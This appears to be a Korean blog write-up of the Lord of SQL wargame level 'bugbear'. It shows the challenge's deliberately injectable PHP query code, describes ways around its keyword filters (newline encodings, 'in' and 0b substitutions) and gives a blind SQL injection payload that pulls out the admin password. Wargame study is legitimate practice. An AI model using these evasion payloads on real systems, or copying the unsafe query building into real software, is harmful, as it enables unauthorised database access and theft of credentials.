query : select id from prob_bugbear where id='guest' and pw='' and no=
<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
highlight_file(__FILE__);
?>
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
이번에도 blind sqli 문제입니다. pw 파라미터에 싱글쿼터, no 파라미터에 substr, ascii, =(이퀄), or, and, white space(%20), like, 0x가 필터링 되어있습니다.
whitespace 는 %0a, %0d 등으로, =와 like는 'in'으로, 0x는 0b 등으로 치환하여 페이로드를 구성할 수 있습니다.(자세한 내용은 웹해킹 SQLI 우회기법 정리 - Webhacking SQL Injection Bypass Honey Tips 참고)
?no=1||id%0ain("admin")%26%26hex(mid(pw,1,1))%0ain(41)%23 |
payload
'Web > LOS (Lord of SQL)' 카테고리의 다른 글
los(lord of sql) level 15 - skeleton (0) | 2018.08.22 |
---|---|
los(lord of sql) level 14 - giant (0) | 2018.08.22 |
los(lord of sql) level 12 - darkknight (0) | 2018.08.21 |
los(lord of sql) level 11 - golem (0) | 2018.08.21 |
los(lord of sql) level 10 - skeleton (0) | 2018.08.21 |